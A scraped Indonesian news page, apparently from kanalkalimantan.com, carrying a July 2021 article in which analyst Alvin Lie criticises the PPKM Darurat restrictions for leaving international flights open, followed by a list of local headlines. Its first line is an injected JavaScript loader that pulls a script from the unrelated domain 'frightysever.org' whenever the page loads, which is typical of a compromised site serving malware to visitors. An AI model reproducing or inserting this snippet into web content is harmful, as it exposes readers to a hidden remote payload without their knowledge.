(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Percuma PPKM Darurat Kalau Penerbangan Internasional Dibuka


KANALKALIMANTAN.COM, JAKARTA – Pengamat transportasi Alvin Lie menyebut pemerintah salah langkah dalam menerapkan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat. Pasalnya, ia melihat dalam PPKM Darurat penerbangan internasional masih boleh beroperasi.

Padahal kata Alvin, sumber virus itu berasal dari luar negeri. Sehingga, ia menyarankan, harusnya pemerintah menutup penerbangan dari luar negeri sebelum membatasi kegiatan di dalam negeri.

Alvin memberi contoh negara lain misalnya, Hong Kong yang langsung menutup akses penerbangan internasional dari negara yang menemukan varian Covid-19 baru seperti Inggris dan India.

Baca juga: Ada Kampung Budidaya Ikan Papuyu di Kabupaten Banjar

 

 

“Kenapa pemerintah tidak menutup sumbernya dari luar negeri, tetapi selalu domestiknya yang diurusi. Percuma saja penerbangan di dalam negeri dibatasi, kalau sumbernya dari luar negeri tidak ditutup,” ujar Alvin saat dihubungi, Jumat (2/7/2021).

Mantan Komisioner Ombudsman ini juga meragukan efektivitas PPKM darurat jika penerbangan internasional masih terbuka lebar di Indonesia.

“Saya meragukan efektivitas, karena kalau kita hanya mengatur pergerakan dalam negeri sedangkan sumbernya dari luar negeri ditutup tidak akan efektif, perjalanan dari luar negeri juga tak hanya udara, tetapi laut dan darat,” ucap Alvin.

Ia menyarankan, agar pemerintah bisa menutup penerbangan internasional setidaknya selama PPKM Darurat. Atau, pemerintah bisa menutup penerbangan internasional dalam waktu yang cukup lama.

“Kalau engga 1 bulan ditutup engga masalah, mengisolisir dulu dari internasional dulu, membenahi dalam negeri dulu, tapi dari luar negeri juga jangan masuk,” tegasnya.

Baca juga: Pasar Laura Segera Dibuka, Ini Komentar Waket Komisi II DPRD Banjarbaru

Untuk diketahui, dalam aturan PPKM Darurat memang hanya perjalanan transportasi dalam negeri saja yang diatur. Sedangkan, tidak ada pembatasan bagi penerbangan internasional untuk beroperasi.

Dalam aturan PPKM Darurat, masyarakat perlu menunjukkan kartu vaksin jika ingin bertransportasi jarak jauh.

Selain itu, masyarakat juga menyertakan hasil negatif tes swab antigen, jika ingin berpergian jarak jauh dengan transportasi. (Suara.com)

Editor : kk


Al Ghifari

Recent Posts

Dua Raperda Disahkan, Ketua DPRD: Payung Hukum yang Jelas Bagi Cagar Budaya di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More

15 menit ago

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

3 jam ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

4 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

5 jam ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

6 jam ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

19 jam ago

This website uses cookies.